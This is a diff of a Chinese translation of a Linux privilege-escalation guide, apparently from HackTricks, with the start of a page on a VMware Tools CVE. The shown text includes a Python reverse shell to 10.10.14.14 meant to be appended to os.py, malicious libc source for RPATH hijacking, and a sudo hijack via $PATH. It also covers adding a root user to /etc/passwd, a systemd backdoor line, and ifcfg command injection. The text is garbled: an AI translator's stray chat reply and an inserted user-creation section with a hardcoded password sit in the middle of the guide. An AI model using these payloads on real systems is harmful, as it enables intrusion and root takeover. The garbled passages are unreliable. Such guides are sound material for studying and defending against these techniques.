**用户通常连接到一台机器并使用 `sudo`** 来提升权限,且你已在该用户上下文中获得了一个 shell,你可以 **创建一个新的 sudo 可执行文件**,该文件会先以 root 身份执行你的代码,然后再执行用户的命令。然后,**修改该用户上下文的 $PATH**(例如在 .bash_profile 中添加新路径),这样当用户执行 sudo 时,就会运行你创建的 sudo 可执行文件。 +如果你知道某个 **用户通常连接到一台机器并使用 `sudo`** 来提升权限,并且你在该用户上下文获得了一个 shell,你可以 **创建一个新的 sudo 可执行文件**,该文件会先以 root 身份执行你的代码,然后再执行用户的命令。然后,**修改该用户上下文的 $PATH**(例如在 .bash_profile 中添加新的路径),这样当用户执行 sudo 时,就会执行你的 sudo 可执行文件。 -请注意,如果用户使用不同的 shell(不是 bash),你需要修改其他文件来添加新路径。例如[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) 会修改 `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`。你可以在 [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) 中找到另一个示例。 +注意,如果用户使用不同的 shell(不是 bash),你需要修改其他文件以添加新的路径。例如[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) 修改了 `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`。你可以在 [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) 找到另一个示例。 -或者运行类似如下的命令: +或者运行类似下面的命令: ```bash cat >/tmp/sudo < (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -通过将 lib 复制到 `/var/tmp/flag15/`,程序会在此处按照 `RPATH` 变量的指定使用它。 +将该库复制到 `/var/tmp/flag15/` 后,程序会在此处使用它,正如 `RPATH` 变量中指定的那样。 ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1092,7 +1121,7 @@ linux-gate.so.1 => (0x005b0000) libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x00737000) ``` -然后在 `/var/tmp` 创建一个恶意库,使用 `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` +然后在 `/var/tmp` 中使用 `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` 创建一个恶意库。 ```c #include #define SHELL "/bin/sh" @@ -1105,40 +1134,39 @@ setresuid(geteuid(),geteuid(), geteuid()); execve(file,argv,0); } ``` -## 能力 - -Linux capabilities 为进程提供了 **root 特权的一个可用子集**。这有效地将 root 的 **特权分解为更小且更独立的单元**。这些单元中的每一个都可以独立授予给进程。这样就减少了完整权限集,从而降低了被利用的风险。\ -阅读以下页面以 **了解有关 capabilities 以及如何滥用它们的更多信息**: +## Capabilities +Linux capabilities 为进程提供可用 root 特权的一个子集。它实际上将 root **特权拆分为更小且独立的单元**。每个单元可以独立地授予给进程。通过这种方式减少了完整的特权集合,从而降低了被利用的风险。\ +阅读以下页面以**了解更多关于 capabilities 及如何滥用它们**: {{#ref}} linux-capabilities.md {{#endref}} -## 目录权限 +## Directory permissions -在目录中,**"execute" 位** 表示受影响的用户可以 **"cd"** 进入该文件夹。\ -**"read" 位** 表示用户可以 **列出** 这些 **文件**,而 **"write" 位** 表示用户可以 **删除** 和 **创建** 新的 **文件**。 +在目录中,表示 **"execute"** 的位意味着受影响的用户可以 "**cd**" 进入该文件夹。\ +表示 **"read"** 的位意味着用户可以 **列出** **文件**,而 **"write"** 的位意味着用户可以 **删除** 和 **创建** 新的 **文件**。 ## ACLs -访问控制列表 (ACLs) 表示可自由裁量权限的二级层,能够 **覆盖传统的 ugo/rwx 权限**。这些权限通过允许或拒绝非所有者或不在组内的特定用户的访问权来增强对文件或目录访问的控制。此级别的 **粒度确保更精确的访问管理**。更多细节请见 [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux)。 +Access Control Lists (ACLs) 代表可覆盖传统 ugo/rwx 权限的第二层自主权限。这些权限通过允许或拒绝对特定非所有者或非组用户的访问权来增强对文件或目录访问的控制。此级别的**精细化**确保了更精确的访问管理。更多细节见 [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux)。 -**授予** 用户 "kali" 对某个文件的 read 和 write 权限: +**Give** user "kali" read and write permissions over a file: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) setfacl -b file.txt #Remove the ACL of the file ``` -**获取** 从系统中带有特定 ACLs 的文件: +**获取** 系统中具有特定 ACLs 的文件: ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` ## 打开 shell 会话 -在 **旧版本** 中你可能可以 **hijack** 某个不同用户(**root**)的 **shell** 会话。\ -在 **最新版本** 中你只能 **连接** 到仅属于 **你自己的用户** 的 screen sessions。不过,你可能会在会话内部发现 **会话内部的有趣信息**。 +在 **旧版本** 中,你可能可以 **hijack** 不同用户(**root**)的 **shell** 会话。\ +在 **最新版本** 中,你只能 **connect** 到 **你自己的用户** 的 screen sessions。不过,你可能会在 **会话内部的有趣信息** 中发现有价值的内容。 ### screen sessions hijacking @@ -1157,7 +1185,7 @@ screen -x [user]/[session id] ``` ## tmux sessions hijacking -这是一个出现在 **old tmux versions** 的问题。作为非特权用户,我无法劫持由 root 创建的 tmux (v2.1) 会话。 +这是 **旧版 tmux** 的一个问题。我作为非特权用户无法 hijack 由 root 创建的 tmux (v2.1) 会话。 **列出 tmux 会话** ```bash @@ -1167,7 +1195,7 @@ tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session i ``` ![](<../../images/image (837).png>) -**连接到 session** +**附加到会话** ```bash tmux attach -t myname #If you write something in this session it will appears in the other opened one tmux attach -d -t myname #First detach the session from the other console and then access it yourself @@ -1183,27 +1211,27 @@ Check **Valentine box from HTB** for an example. ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -在 2006 年 9 月至 2008 年 5 月 13 日之间,在基于 Debian 的系统(Ubuntu、Kubuntu 等)上生成的所有 SSL 和 SSH 密钥可能受到此漏洞影响。\ -该漏洞在这些操作系统上创建新的 ssh 密钥时产生,**只有 32,768 种变体可用**。这意味着所有可能性都可以被计算出来,**得到 ssh 公钥后即可搜索对应的私钥**。你可以在这里找到计算出的可能性:[https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +2006年9月至2008年5月13日之间在基于 Debian 的系统(Ubuntu、Kubuntu 等)上生成的所有 SSL 和 SSH 密钥可能受到此漏洞影响。\ +该漏洞发生在这些操作系统创建新的 ssh 密钥时,因 **only 32,768 variations were possible**。这意味着可以计算出所有可能性,并且**having the ssh public key you can search for the corresponding private key**。你可以在此处找到计算出的可能性: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) ### SSH Interesting configuration values - **PasswordAuthentication:** 指定是否允许密码认证。默认是 `no`。 - **PubkeyAuthentication:** 指定是否允许公钥认证。默认是 `yes`。 -- **PermitEmptyPasswords**: 当允许密码认证时,指定服务器是否允许使用空密码字符串登录账户。默认是 `no`。 +- **PermitEmptyPasswords**: 当允许密码认证时,指定服务器是否允许使用空密码字符串的账户登录。默认是 `no`。 ### PermitRootLogin -指定是否允许 root 使用 ssh 登录,默认是 `no`。可能的取值: +指定是否允许 root 使用 ssh 登录,默认是 `no`。可选值: -- `yes`: root 可使用密码和私钥登录 +- `yes`: root 可以使用密码和私钥登录 - `without-password` or `prohibit-password`: root 只能使用私钥登录 -- `forced-commands-only`: root 仅能使用私钥登录,且要求指定命令选项 -- `no`:不允许 +- `forced-commands-only`: root 只能使用私钥登录,且仅在指定了命令选项时 +- `no` : 不允许 ### AuthorizedKeysFile -指定包含可用于用户认证的公钥的文件。它可以包含像 `%h` 这样的标记,%h 会被替换为主目录。**你可以指定绝对路径**(以 `/` 开头)或 **相对于用户主目录的相对路径**。例如: +指定包含可用于用户认证的公钥的文件。它可以包含像 `%h` 这样的 token,会被替换为 home 目录。**You can indicate absolute paths**(以 `/` 开头)或 **relative paths from the user's home**。例如: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` @@ -1211,19 +1239,19 @@ That configuration will indicate that if you try to login with the **private** k ### ForwardAgent/AllowAgentForwarding -SSH agent forwarding 允许你 **use your local SSH keys instead of leaving keys**(不要把没有 passphrases 的 keys 放在你的服务器上)。因此,你可以通过 ssh **jump** **to a host**,然后从那里 **jump to another** host,**using** 存放在你 **initial host** 上的 **key**。 +SSH agent forwarding 允许你 **use your local SSH keys instead of leaving keys** (without passphrases!) 存放在你的服务器上。这样,你将能够通过 ssh **jump** **to a host**,然后从那里 **jump to another** host **using** 位于你 **initial host** 的 **key**。 -You need to set this option in `$HOME/.ssh.config` like this: +你需要在 `$HOME/.ssh.config` 中设置此选项,如下所示: ``` Host example.com ForwardAgent yes ``` -注意,如果 `Host` 是 `*`,每次用户跳转到不同的机器时,该主机都将能够访问密钥(这是一个安全问题)。 +注意:如果 `Host` 为 `*`,用户每次跳转到另一台机器时,该主机都将能够访问密钥(这是一个安全问题)。 文件 `/etc/ssh_config` 可以 **覆盖** 这些 **选项** 并允许或拒绝此配置。\ -文件 `/etc/sshd_config` 可以使用关键字 `AllowAgentForwarding` **允许** 或 **拒绝** ssh-agent 转发(默认允许)。 +文件 `/etc/sshd_config` 可以使用关键字 `AllowAgentForwarding` **允许**或**拒绝** ssh-agent forwarding(默认允许)。 -如果你发现环境中配置了 Forward Agent,请阅读以下页面,因为 **你可能能够滥用它以提升权限**: +如果你发现 Forward Agent 在某个环境中被配置,请阅读以下页面,因为 **你可能能够滥用它来提升权限**: {{#ref}} @@ -1232,101 +1260,56 @@ ssh-forward-agent-exploitation.md ## 有趣的文件 -### Profiles 文件 +### 配置文件 -文件 `/etc/profile` 和 `/etc/profile.d/` 下的文件是 **当用户运行新 shell 时执行的脚本**。因此,如果你可以 **写入或修改其中的任何一个,就可以提升权限**。 +文件 `/etc/profile` 及 `/etc/profile.d/` 下的文件是 **当用户运行新 shell 时执行的脚本**。因此,如果你能够 **写入或修改其中任何一个文件,你就可以提升权限**。 ```bash ls -l /etc/profile /etc/profile.d/ ``` -如果发现任何异常的 profile 脚本,应检查其中是否包含 **敏感信息**。 +如果发现任何异常的 profile 脚本,应检查其中是否包含 **敏感细节**。 ### Passwd/Shadow 文件 -根据操作系统,`/etc/passwd` 和 `/etc/shadow` 文件可能使用不同的名称,或存在备份。因此建议 **查找所有此类文件** 并 **检查是否可读取**,以查看文件中 **是否包含哈希**: +根据不同的操作系统,`/etc/passwd` 和 `/etc/shadow` 文件可能使用不同的名称或存在备份。因此建议**找到所有相关文件**并**检查是否能读取**,以查看文件中是否包含**哈希**: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` -在某些情况下,你可以在 `/etc/passwd`(或等效)文件中找到 **password hashes** +在某些情况下,你可以在 `/etc/passwd`(或等效)文件中找到 **password hashes**。 ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` ### 可写的 /etc/passwd -首先,使用以下任一命令生成一个 password。 +首先,使用以下命令之一生成一个密码。 ``` openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -# Privilege Escalation - -本节介绍在 Linux 系统中进行 Privilege Escalation 的常见方法、枚举技巧和防御建议。仅在获得授权的 pentesting、红队或审计环境中使用这些技术。 - -## 常见枚举步骤 - -- 从基础做起:检查 kernel 版本、内核漏洞、已加载的模块、内核配置以及 dmesg 输出。 -- 用户和权限:查看 /etc/passwd、/etc/shadow(若可读)、sudoers、组信息以及 home 目录权限。 -- 服务和进程:枚举正在运行的服务、crontab、systemd 单元以及具有高权限的进程句柄。 -- 文件和二进制:查找 SUID/SGID 文件、可写的脚本或配置文件、可利用的 PATH 问题。 -- Capability 与 namespaces:检查 file capabilities、setcap 输出以及不安全的 namespace 配置。 -- 第三方工具与资源:使用 LinPEAS、GTFOBins、sudo -l 等工具和技巧来加速枚举过程。 - -## 常见漏洞类别(示例) - -- SUID/SGID 可执行文件滥用(SUID) -- 错误配置的 sudo 权限(sudo) -- 可写的 cron 脚本或 systemd 单元 -- 易受攻击的服务或守护进程(如使用高权限运行) -- 可利用的 kernel exploits(仅在受控环境下测试) -- 凭证泄露(如配置文件或历史记录中的明文密码或 SSH 密钥) - -## 防御建议 - -- 及时打补丁并更新内核与关键组件。 -- 最小权限原则:限制 sudoers 和服务运行权限。 -- 移除不必要的 SUID 二进制并最小化 setcap 的使用。 -- 加强日志和审计,检测异常的提权行为和命令执行。 -- 对关键目录和配置文件设置严格的权限控制并加密敏感凭证。 - -## 添加用户 hacker 并设置生成的密码 - -下面的示例在系统上创建用户 hacker 并设置一个随机生成的强口令。请在授权的环境中运行这些命令。 - -``` -sudo useradd -m -s /bin/bash hacker -echo 'hacker:S3cure!8kLm#V2qR' | sudo chpasswd -sudo chage -d 0 hacker -``` - -生成的密码(请妥善保存并在需要时更改): - -``` -S3cure!8kLm#V2qR -``` +我需要 README.md 的内容才能进行翻译并在文档中加入创建用户的说明。请粘贴 src/linux-hardening/privilege-escalation/README.md 的内容,或者确认是否由我生成一个随机密码(默认 16 字符强密码)并把创建用户 `hacker` 并设置该密码的命令示例加入翻译文档。要我继续吗? ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` -例如: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` +例如: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` -你现在可以使用 `su` 命令并使用 `hacker:hacker` +现在你可以使用 `su` 命令并使用 `hacker:hacker` -或者,你可以使用以下行添加一个没有密码的虚拟用户。\ -警告:这可能会降低机器当前的安全性。 +或者,你可以使用以下行来添加一个没有密码的伪用户.\ 警告:你可能会降低机器当前的安全性。 ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -注意:在 BSD 平台上 `/etc/passwd` 位于 `/etc/pwd.db` 和 `/etc/master.passwd`,同时 `/etc/shadow` 被重命名为 `/etc/spwd.db`。 +注意:在 BSD 平台中 `/etc/passwd` 位于 `/etc/pwd.db` 和 `/etc/master.passwd`,同时 `/etc/shadow` 被重命名为 `/etc/spwd.db`。 -你应该检查是否可以**写入一些敏感文件**。例如,你能否写入某些**服务配置文件**? +你应该检查是否可以 **写入某些敏感文件**。例如,你能写入某个 **服务配置文件** 吗? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` -例如,如果机器正在运行 **tomcat** 服务器,并且你可以 **modify the Tomcat service configuration file inside /etc/systemd/,** 那么你可以修改以下几行: +例如,如果机器正在运行 **tomcat** 服务器,并且您可以 **修改 /etc/systemd/ 中的 Tomcat 服务配置文件,** 那么您可以修改以下几行: ``` ExecStart=/path/to/backdoor User=root @@ -1336,7 +1319,7 @@ Group=root ### 检查文件夹 -以下文件夹可能包含备份或有趣的信息: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (最后一个可能无法读取,但试试看) +以下文件夹可能包含备份或有趣的信息: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (可能你无法读取最后一个,但还是试试) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` @@ -1361,7 +1344,7 @@ done ```bash find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null ``` -### Sqlite 数据库文件 +### Sqlite DB 文件 ```bash find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null ``` @@ -1391,20 +1374,20 @@ find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/gam ``` ### 已知包含密码的文件 -阅读 [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) 的代码,它会搜索 **可能包含密码的若干文件**。\ -**另一个有趣的工具** 是:[**LaZagne**](https://github.com/AlessandroZ/LaZagne),它是一个开源程序,用来检索存储在本地计算机上的大量密码,适用于 Windows, Linux & Mac. +阅读 [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) 的代码,它会搜索 **多个可能包含密码的文件**。\ +**另一个有趣的工具** 是: [**LaZagne**](https://github.com/AlessandroZ/LaZagne),这是一个开源应用程序,用于检索存储在本地计算机上的大量密码,适用于 Windows, Linux & Mac。 ### 日志 -如果你能够读取日志,你可能会在其中发现 **有趣/机密的信息**。日志越异常,可能就越有价值(大概)。\ -此外,一些“**不当**”配置(带后门?)的 **审计日志** 可能允许你在审计日志中**记录密码**,正如这篇文章所解释的: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +如果你能读取日志,可能会在其中找到 **有趣/机密的信息**。日志越异常,可能越有价值(大概率)。\ +此外,某些“**坏**”配置(可能被后门?)的 **audit logs** 可能允许你**将密码写入这些 audit logs**,如这篇文章所述: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/]. ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` -为了**读取日志的组** [**adm**](interesting-groups-linux-pe/index.html#adm-group) 会非常有帮助。 +为了 **读取日志的组** [**adm**](interesting-groups-linux-pe/index.html#adm-group) 会非常有用。 -### Shell files +### Shell 文件 ```bash ~/.bash_profile # if it exists, read it once when you log in to the shell ~/.bash_login # if it exists, read it once if .bash_profile doesn't exist @@ -1415,61 +1398,61 @@ grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ~/.zlogin #zsh shell ~/.zshrc #zsh shell ``` -### Generic Creds Search/Regex +### 通用凭证搜索/Regex -你还应该检查文件名或文件内容中包含单词 "**password**" 的文件,也要在 logs 中检查 IPs 和 emails,或 hashes regexps。\ -我不会在这里列出如何完成所有这些检查,但如果你感兴趣,可以查看 [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) 执行的最后几项检查。 +你还应该检查包含单词 "**password**" 的文件,无论是在它的 **name** 或者在 **content** 中,并且也要检查 logs 中的 IPs 和 emails,或 hashes regexps。\ +我不会在这里列出如何做到所有这些,但如果你感兴趣可以查看 [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) 执行的最后一些检查。 ## 可写文件 ### Python library hijacking -如果你知道 python 脚本将从 **哪个位置** 被执行,并且你 **可以在该文件夹中写入** 或者你可以 **修改 python libraries**,你就可以修改 OS library 并为其植入 backdoor(如果你能写入 python 脚本将被执行的位置,复制并粘贴 os.py library)。 +如果你知道 python 脚本将从 **哪里** 被执行,并且你 **可以在该文件夹中写入** 或者你可以 **修改 python libraries**,你就可以修改 OS library 并给它植入 backdoor(如果你可以写入 python 脚本将被执行的位置,就复制并粘贴 os.py library)。 -要 **backdoor the library**,只需在 os.py library 的末尾添加以下行(change IP and PORT): +要**backdoor the library**,只需在 os.py library 的末尾添加以下行(更改 IP 和 PORT): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` -### Logrotate exploitation +### Logrotate 漏洞利用 -`logrotate` 中的一个漏洞允许对日志文件或其父目录具有 **write permissions** 的用户可能获得提权。因为 `logrotate` 通常以 **root** 运行,可能被操纵去执行任意文件,尤其是在像 _**/etc/bash_completion.d/**_ 这样的目录中。重要的是不仅检查 _/var/log_ 中的权限,还要检查任何应用了日志轮换的目录。 +A vulnerability in `logrotate` lets users with **write permissions** on a log file or its parent directories potentially gain escalated privileges. This is because `logrotate`, often running as **root**, can be manipulated to execute arbitrary files, especially in directories like _**/etc/bash_completion.d/**_. It's important to check permissions not just in _/var/log_ but also in any directory where log rotation is applied. > [!TIP] -> 该漏洞影响 `logrotate` 版本 `3.18.0` 及更早版本 +> 此漏洞影响 `logrotate` 版本 `3.18.0` 及更早版本 -关于该漏洞的更多详细信息见此页面: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). +More detailed information about the vulnerability can be found on this page: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). -你可以使用 [**logrotten**](https://github.com/whotwagner/logrotten) 来利用此漏洞。 +You can exploit this vulnerability with [**logrotten**](https://github.com/whotwagner/logrotten). -该漏洞与 [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs)** 非常相似,所以每当你发现可以修改日志时,检查谁在管理这些日志,并检查是否可以通过将日志替换为 symlinks 来提权。 +This vulnerability is very similar to [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** so whenever you find that you can alter logs, check who is managing those logs and check if you can escalate privileges substituting the logs by symlinks. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) -**Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) +**漏洞参考:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -如果由于任何原因,某用户能够在 _/etc/sysconfig/network-scripts_ 中 **write** 一个 `ifcf-` 脚本,或者能够 **adjust** 一个已有的脚本,那么你的 **system is pwned**。 +If, for whatever reason, a user is able to **write** an `ifcf-` script to _/etc/sysconfig/network-scripts_ **or** it can **adjust** an existing one, then your **system is pwned**. -Network scripts,例如 _ifcg-eth0_,用于网络连接。它们看起来完全像 .INI 文件。然而,它们在 Linux 上被 Network Manager (dispatcher.d) \~sourced\~。 +网络脚本,例如 _ifcg-eth0_,用于网络连接。它们看起来就像 .INI 文件。但是,它们在 Linux 上被 Network Manager(dispatcher.d)以 \~sourced\~ 的方式加载。 -在我的案例中,这些 network scripts 中的 `NAME=` 属性处理不正确。如果名称中有 **white/blank space the system tries to execute the part after the white/blank space**。这意味着 **everything after the first blank space is executed as root**。 +在我的例子中,这些网络脚本中的 `NAME=` 属性未被正确处理。**名称中包含空白/空格时,系统会尝试执行空白/空格之后的部分**。这意味着 **第一个空格之后的所有内容都会以 root 身份执行**。 -For example: _/etc/sysconfig/network-scripts/ifcfg-1337_ +例如: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash NAME=Network /bin/id ONBOOT=yes DEVICE=eth0 ``` -(_注意 Network 与 /bin/id 之间的空格_) +(_注意 Network 和 /bin/id 之间的空格_) -### **init、init.d、systemd 和 rc.d** +### **init, init.d, systemd, 与 rc.d** -目录 `/etc/init.d` 存放用于 System V init (SysVinit) 的 **脚本**,这是 **经典的 Linux 服务管理系统**。其中包含用于 `start`、`stop`、`restart`,有时还有 `reload` 服务的脚本。这些脚本可以直接执行,或通过位于 `/etc/rc?.d/` 的符号链接来触发。在 Redhat 系统中,另一条常见路径是 `/etc/rc.d/init.d`。 +目录 `/etc/init.d` 是 System V init (SysVinit) 的 **脚本** 存放处,也是经典的 Linux 服务管理系统。它包含用于 `start`、`stop`、`restart`,有时还有 `reload` 服务的脚本。这些脚本可以直接执行,也可以通过位于 `/etc/rc?.d/` 的符号链接来触发。在 Redhat 系统中,另一个可选路径是 `/etc/rc.d/init.d`。 -另一方面,`/etc/init` 与 **Upstart** 相关,这是由 Ubuntu 引入的较新的 **service management** 方式,使用配置文件来管理服务。尽管很多系统已迁移到 Upstart,但由于 Upstart 中具有兼容层,SysVinit 脚本仍会与 Upstart 配置一起被使用。 +另一方面,`/etc/init` 与 **Upstart** 相关,Upstart 是 Ubuntu 引入的较新的 **service management**,使用配置文件来管理服务任务。尽管已向 Upstart 迁移,但由于 Upstart 的兼容层,SysVinit 脚本仍然与 Upstart 配置一起使用。 -**systemd** 是一种现代的初始化与服务管理器,提供了按需启动守护进程、自动挂载管理以及系统状态快照等高级功能。它将文件组织为分发包使用的 `/usr/lib/systemd/`,以及供管理员修改的 `/etc/systemd/system/`,从而简化了系统管理。 +**systemd** 作为现代的初始化与服务管理器出现,提供如按需 daemon 启动、自动挂载管理和系统状态快照等高级功能。它将文件组织在 `/usr/lib/systemd/`(发行版包)和 `/etc/systemd/system/`(管理员修改)中,从而简化系统管理流程。 -## Other Tricks +## 其他技巧 ### NFS Privilege escalation @@ -1494,13 +1477,23 @@ cisco-vmanage.md ## Android rooting frameworks: manager-channel abuse -Android rooting frameworks commonly hook a syscall to expose privileged kernel functionality to a userspace manager. Weak manager authentication (e.g., signature checks based on FD-order or poor password schemes) can enable a local app to impersonate the manager and escalate to root on already-rooted devices. Learn more and exploitation details here: +Android rooting frameworks 通常会 hook 一个 syscall,将有权限的内核功能暴露给一个 userspace manager。弱的 manager 认证(例如基于 FD-order 的签名校验或糟糕的密码方案)可能允许本地应用冒充该 manager,并在已 root 的设备上提升为 root。了解更多及利用细节见: {{#ref}} android-rooting-frameworks-manager-auth-bypass-syscall-hook.md {{#endref}} +## VMware Tools service discovery LPE (CWE-426) 通过 regex-based exec (CVE-2025-41244) + +VMware Tools/Aria Operations 中基于 regex 的 service discovery 可以从进程命令行中提取二进制路径并在特权上下文中以 -v 执行。宽松的模式(例如使用 \S)可能匹配位于可写位置(例如 /tmp/httpd)的攻击者放置的监听器,导致以 root 执行(CWE-426 Untrusted Search Path)。 + +了解更多并查看适用于其他 discovery/monitoring 堆栈的通用模式: + +{{#ref}} +vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md +{{#endref}} + ## Kernel Security Protections - [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check) @@ -1527,6 +1520,10 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md ## References +- [0xdf – HTB Planning (Crontab UI privesc, zip -P creds reuse)](https://0xdf.gitlab.io/2025/09/13/htb-planning.html) +- [alseambusher/crontab-ui](https://github.com/alseambusher/crontab-ui) + + - [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/) - [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/) - [https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744](https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744) @@ -1548,4 +1545,6 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md - [GNU Bash Manual – BASH_ENV (non-interactive startup file)](https://www.gnu.org/software/bash/manual/bash.html#index-BASH_005fENV) - [0xdf – HTB Environment (sudo env_keep BASH_ENV → root)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html) +- [NVISO – You name it, VMware elevates it (CVE-2025-41244)](https://blog.nviso.eu/2025/09/29/you-name-it-vmware-elevates-it-cve-2025-41244/) + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md b/src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md new file mode 100644 index 000000000..d597fb096 --- /dev/null +++ b/src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md @@ -0,0 +1,146 @@ +# VMware Tools service discovery LPE (CWE-426) via regex-based binary discovery (CVE-2025-41244) + +{{#include ../../banners/hacktricks-training.md}} + +本技术滥用基于正则的 service discovery 管道,这些管道解析正在运行的进程命令行以推断服务版本,然后使用 "version" 标志执行候选二进制。当宽松的模式接受不受信任、由攻击者控制的路径(例如 /tmp/httpd)时,具有特权的采集程序会从该不受信任的位置执行任意二进制,从而导致本地权限提升。NVISO 在 VMware Tools/Aria Operations Service Discovery 中记录了这项问题,标识为 CVE-2025-41244。 + +- Impact: Local privilege escalation to root (or to the privileged discovery account) +- Root cause: Untrusted Search Path (CWE-426) + permissive regex matching of process command lines +- Affected: open-vm-tools/VMware Tools on Linux (credential-less discovery), VMware Aria Operations SDMP (credential-based discovery via Tools/proxy) + +## How VMware service discovery works (high level) + +- Credential-based (legacy): Aria executes discovery scripts inside the guest via VMware Tools using configured privileged credentials. +- Credential-less (modern): Discovery logic runs within VMware Tools, already privileged in the guest. + +Both modes ultimately run shell logic that scans processes with listening sockets, extracts a matching command path via a regex, and executes the first argv token with a version flag. + +## Root cause and vulnerable pattern 